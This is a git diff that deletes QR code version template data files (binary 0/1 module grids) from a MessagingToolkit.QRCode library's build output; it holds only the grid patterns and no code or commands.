-0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1010001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1011011000000000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -0000000010000000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -1111111000000000000000000000000010101000000000000000000000101010000000000000000000001010100000000000000000000010101000000000000000000000101010000 -1000001000000000000000000000000010001000000000000000000000100010000000000000000000001000100000000000000000000010001000000000000000000000100010000 -1011101000000000000000000000000011111000000000000000000000111110000000000000000000001111100000000000000000000011111000000000000000000000111110000 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1111111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr33.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr33.dat deleted file mode 100644 index eac0964..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr33.dat +++ /dev/null @@ -1,149 +0,0 @@ -11111110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111 -10000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001101000001 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011001011101 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011001011101 -10111010000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000010001011101 -10000010000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000101000001 -11111110101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101111111 -00000000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000000000000 -00000010000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -00001000100000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -00001010100000000000000000001010100000000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -00001000100000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -00001111100000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -00001000100000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -00001010100000000000000000001010100000000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -00001000100000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -00001111100000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -00001000100000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -00001010100000000000000000001010100000000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -00001000100000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -00001111100000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -00001000100000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -00001010100000000000000000001010100000000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -00001000100000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -00001111100000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00111010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -01110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -01000110000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -00000000100000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -11111110000000000000000000001010100000000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -10000010000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -10111010000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -10000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -11111110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr34.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr34.dat deleted file mode 100644 index 8b09e2c..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr34.dat +++ /dev/null @@ -1,153 +0,0 @@ -111111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001111111 -100000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011101000001 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001011101 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000101011101 -101110100000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000001001011101 -100000100000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000101000001 -111111101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101111111 -000000000000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000000000000 -000000100000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -000010101000000000000000000000001010100000000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -000010101000000000000000000000001010100000000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -000010101000000000000000000000001010100000000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 